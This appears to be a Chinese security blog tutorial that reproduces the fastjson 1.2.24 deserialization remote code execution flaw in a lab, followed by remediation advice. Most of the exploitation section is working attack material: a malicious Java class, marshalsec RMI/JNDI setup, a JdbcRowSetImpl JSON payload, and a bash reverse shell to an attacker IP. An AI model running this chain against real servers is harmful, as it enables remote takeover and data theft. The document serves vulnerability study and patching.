- 前言
- 一、fastjson 代码执行 (CNVD-2017-02833)
- 0x01 漏洞描述
- 漏洞危害
- 0x02 影响范围
- 0x03 漏洞利用
- 1.创建文件攻击尝试
- 1.1 编译恶意类
- 1.2 python启用http服务 部署 Exploit.class
- 1.3 marshalsec 开启 rmi
- 1.4 发起攻击
- 脚本用法:
- 2.反弹shell
- 0x04 漏洞修复
- 代码修复
- 总结
前言
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Fastjson多处补丁修补出现纰漏,Fastjson在1.2.68版本以下,无需Autotype开启,或者可绕过autoType限制,攻击者即可通过精心构造的请求包在使用Fastjson的服务器上进行远程代码执行。
一、fastjson 代码执行 (CNVD-2017-02833) 0x01 漏洞描述fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。
漏洞危害恶意攻击者可以利用漏洞攻击做到:
1、执行远程命令,获取服务数据
2、执行远程命令,植入后门,控制服务器
0x02 影响范围fastjson <=1.2.24
0x03 漏洞利用访问主页
如下 json格式
生成 Exploit.class
javac Exploit.java
Exploit.java 内容如下
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/exphub"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
1.2 python启用http服务 部署 Exploit.class
通过python命令放到外网环境中,默认监听端口8000。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.157.137:8000/#Exploit" 99991.4 发起攻击
发送数据包
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机ip:9999/Exploit",
"autoCommit":true
}
}
看rmi服务
连接来自 靶机129 说明 靶机执行了远程命令 攻击成功
创建成功
python3 fastjson-1.2.24_rce.py http://192.168.157.129:8090/ rmi://192.168.157.137:9999/Exploit2.反弹shell
修改exploit.java文件内容
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.157.137/9897 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
0x04 漏洞修复
1.升级至安全版本.
2.对fastjson进行一定的安全加固措施
3.采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson
4.使用WAF紧急漏洞拦截,再升级到安全版本
代码修复1.升级至安全版本,参考下载链接:https://repo1.maven.org/maven2/com/alibaba/fastjson/
2.对fastjson进行一定的安全加固措施
fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)
开启方法参考:
打开SafeMode功能
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
有三种方式配置SafeMode,如下:
A.在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true);
B.加上JVM启动参数
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,用逗号隔开
C.通过fastjson.properties文件配置。
通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true
3.采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson
总结


